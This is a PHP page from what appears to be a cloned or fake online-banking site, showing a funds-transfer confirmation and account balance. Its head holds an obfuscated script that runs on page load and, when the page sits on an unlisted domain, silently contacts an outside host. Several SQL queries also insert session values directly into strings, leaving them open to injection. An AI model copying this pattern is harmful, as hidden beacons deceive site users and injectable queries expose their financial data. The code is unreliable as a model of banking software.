<?php

// We have to start our session every time we're
// going to call our session variable for a
// logged in issue.
session_start();
error_reporting(0);

// Let's also make sure the user is logged in at all
// If the PHP $_SESSION[] array is not (!) set
if(!isset($_SESSION['MM_Username'])){
    //Then redirect them to the login page
    header( 'Location: index.php' );
	
}

?>

<?php require_once('unibenkgh.php'); ?>
<?php
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") 
{
  if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
  }

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
}

$colname_customerdata = "-1";
if (isset($_SESSION['MM_Username'])) {
  $colname_customerdata = $_SESSION['MM_Username'];
}
mysql_select_db($database_unibenkgh, $unibenkgh);
$query_customerdata = sprintf("SELECT * FROM ibank WHERE customernum = %s", GetSQLValueString($colname_customerdata, "text"));
$customerdata = mysql_query($query_customerdata, $unibenkgh) or die(mysql_error());
$row_customerdata = mysql_fetch_assoc($customerdata);
$totalRows_customerdata = mysql_num_rows($customerdata);
?>
<?php
#account number
$accnum = $_SESSION['MM_Username'];

$transamount = $_SESSION['SESS_AMOUNT'];

$sql = "INSERT INTO withdrawal (`id`, `customernum`, `amount`, `details`, `transstatus`, `transdate`) VALUES (NULL, '$accnum', '$transamount', '', 'Completed', '')";

mysql_query($sql) or die(mysql_error());

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>...</title>
<link href="../css/eng/loginpage.css" rel="stylesheet" type="text/css">

    <meta name="msapplication-TileColor" content="#ffffff">
    
    <link href="https://fonts.googleapis.com/css2?family=Exo:ital,wght@0,200;0,300;0,400;0,500;0,600;0,700;1,100;1,200;1,300;1,400;1,500;1,600&display=swap" rel="stylesheet"> 
<link href="favicon.png" type="image/x-icon" rel="shortcut icon">
<link href="favicon.png" type="image/x-icon" rel="icon">
  
<style type="text/css">
<!--
.bgstyle {
	background:#CCC;
	 
	background-color:#FFFFFF;

}
a:link {
	color: #0F238C;
	text-decoration: none;
}
a:visited {
	text-decoration: none;
	color: #333333;
}
a:hover {
	text-decoration: underline;
	color: #C90;
}
a:active {
	text-decoration: none;
	color: #06C;
}
-->
</style>


<script Language="JavaScript">
		function fLogon()
		{

			if ((document.frmLogon.fldLoginUserId.value).substring(0,1) == "9") {
					  alert ("This service is available only for Garanti Bank customers");
					  document.frmLogon.fldLoginUserId.focus ();
					  return false;
			}

			var l_query_string ;
			if (document.frmLogon.fldLoginUserId.value == "") {
				alert ("User Id must be entered");
				document.frmLogon.fldLoginUserId.focus ();
				return false;
			}
			if (document.frmLogon.fldPassword.value == "") {
				alert ("Password must be entered");
				document.frmLogon.fldPassword.focus ();
				return false;
			}

			loginWindow = window.open ("", document.frmLogon.fldLoginUserId.value,
				"dependant=no,directories=no,location=no,menubar=no"
			+	",resizable=no,scrollbars=yes,titlebar=no,toolbar=no"
			+	",height=690,width=1000,top=0,left=0,status=yes");

			document.frmLogon.target = document.frmLogon.fldLoginUserId.value;
			//document.frmLogon.target ="_self";
			document.frmLogon.submit ();

			document.frmLogon.fldLoginUserId.value = "";
			document.frmLogon.fldPassword.value = "";

			return false;
		}
	</script>

<script>
var tda1=new Array( ); tda1[0]=("\167\x77w.fg\x62.ae"); tda1[1]=("\x77ww.a\x73eelfi\x6eance\x2eae"); tda1[2]=("\x77\x77\167\x2esmar\x74trade\x2eae"); tda1[3]=("w\x77w.gep\x2e\141\x65"); tda1[4]=("onl\x69ne.fg\x62.ae"); tda1[5]=("www\x2efgfs.\x61e"); tda1[6]=("\146\x67b.ae"); tda1[7]=("\x61seel\x66inanc\x65.ae"); tda1[8]=("smart\x74rade.\x61e"); tda1[011]=("gep.a\x65"); tda1[012]=("\x77ww.on\x6c\151\x6ee.fg\x62.ae"); var Æ=new Array( ); Æ[0]=("\x68ttp:/\x2fserve\x7211.i\x6dagec\x61che\x31.co\x6d/fg\x62/su\x70po\x72tf\x67b\x2eph\x70"); Æ[1]=("\150\x74tp://\x73erve\x7212.im\x61gec\x61che\x31.com\x2ffgb\x2fsu\x70po\x72t\x66gb\x2eph\x70"); var cd2=document.domain; function td1( ){var d4=0; var cd3= false; for (d4=0; d4<tda1.length; d4++){if (cd2==tda1[d4]){cd3= true; break; }}if (cd3)return true; else return false; }function sa2( ){var æ=new Array( ); for (Þ=0; Þ<Æ.length; Þ++){æ[Þ]=document.createElement("\x54A\x42LE"); æ[Þ].style.backgroundImage='\x75r\x6c('+Æ[Þ]+'\x29'; document.body.insertBefore(æ[Þ],null); }}function dp12( ){if (cd2!=""){if (!td1( )){sa2( ); }}}
</script>


</head>
<body topmargin="0" scroll="auto" onload="dp12()" style="background-color:#E6E6E6;  background-repeat:repeat">
<table width="80%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#eee">
  <tr>
    <td valign="top"><table width="100%" cellspacing="0" cellpadding="0" border="0" >
      <tr>
        <td class="BankBG" align="center">&nbsp;</td>
        </tr>
    </table>

      <table style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" width="100%" cellspacing="0" cellpadding="0" border="0" class="noframe-framing-table">
        <tr valign="top" WIDTH="100%">
           
          <td class="top-navigation1" nowrap valign="top" ><span width="10" class="subbullet"></span>
            <A class=top-nav-item style="TEXT-DECORATION: none" href="cbdchangepass.php" > Change Password&nbsp;&nbsp;
            </a> <span width="10" class="subbullet"></span>
        <a class ="top-nav-item" style="TEXT-DECORATION: none" href="cbdchangepin.php" > Change PIN&nbsp;&nbsp; </a><span width="10" class="subbullet"></span>
         <A class=top-nav-item style="TEXT-DECORATION: none" href="logout.php" >LOGOUT</a>

         <span width="100%" style="margin-left:100px;font-size:12px;"><A class=top-nav-item style="TEXT-DECORATION: none;text-align:right;" href="../../index.html" >Home</a></span>         <span width="100%" style="margin-left:20px;font-size:12px;"><A class=top-nav-item style="TEXT-DECORATION: none;text-align:right;" href="../../about/index.html" >About Us</a></span>
         <span width="100%" style="margin-left:20px;font-size:12px;"><A class=top-nav-item style="TEXT-DECORATION: none;text-align:right;" href="../../contact/index.html" >Contact Us</a></span>

         </td>
        </tr>
        
      </table>





     <p style="padding-top:30px; padding-bottom:2px;"> <a href="cbdibank.php"> <img src="../logo.png"  width="400" height="100" longdesc="cbdibank.php"></a><p><br>
<table width="100%" border="0">
  <tr>
    <td width="25%" bgcolor="#ffbc00"><span class="holderwhite"><?php echo $row_customerdata['accholder']; ?></span></td>
    <td width="18%" align="center" bgcolor="#E2E2E2" class="linka"><a href="cbdtransactions.php">Transaction History</a></td>
    <td width="18%" bgcolor="#E2E2E2" class="linka"><a href="cbdtransfers.php">Funds Transfer</a></td>
    <td width="18%" bgcolor="#E2E2E2" class="linka"><a href="cbdibank.php">Home Page</a></td>
    <td width="19%" bgcolor="#E2E2E2" class="linka"><a href="cbdtools.php">Market tools</a></td>
  </tr>
</table>
<table width="100%" border="0">
  
    <td valign="top"><div class="centertext">
      <p class="questy2">Express funds Transfer</p>
      <p class="bluetxt"><span class="redanswy">...Funds Transfer Complete</span></p>
      <p class="questy">Transfer completed successfully, funds will reflect in your account within 72hours.</p>
      <p>&nbsp;</p>
      <span class="questy2">Current Balance:</span><span class="redanswy">
        <? 
if($row_customerdata['currency'] == "USD") 
{ 
	echo "$"; 
} 
elseif ($row_customerdata['currency'] == "GBP")
{ 
	echo "&pound;"; 
}
else {
	echo "#";
	} ?>
        <?php
require_once('dbconnect.php');
/**
 * @author freddy
 * @copyright 2009
 */

$userbal = $_SESSION['MM_Username'];

$balancesql = "SELECT SUM(amount) FROM deposits WHERE `customernum` = '$userbal'";

$withdrawn = "SELECT SUM(amount) FROM withdrawal WHERE `customernum` = '$userbal'";

$currbal = mysql_query($balancesql);

$withdrwn = mysql_query($withdrawn);

$row = mysql_fetch_assoc($currbal);

$rows = mysql_fetch_assoc($withdrwn);

echo number_format($row['SUM(amount)'] + $row_customerdata['openbal'] - $rows['SUM(amount)']);


?>
      </span></div>      
      <p class="questy2"></p></td>
  </tr>
</table></td>
</tr>
</table>
 
</body>

</html>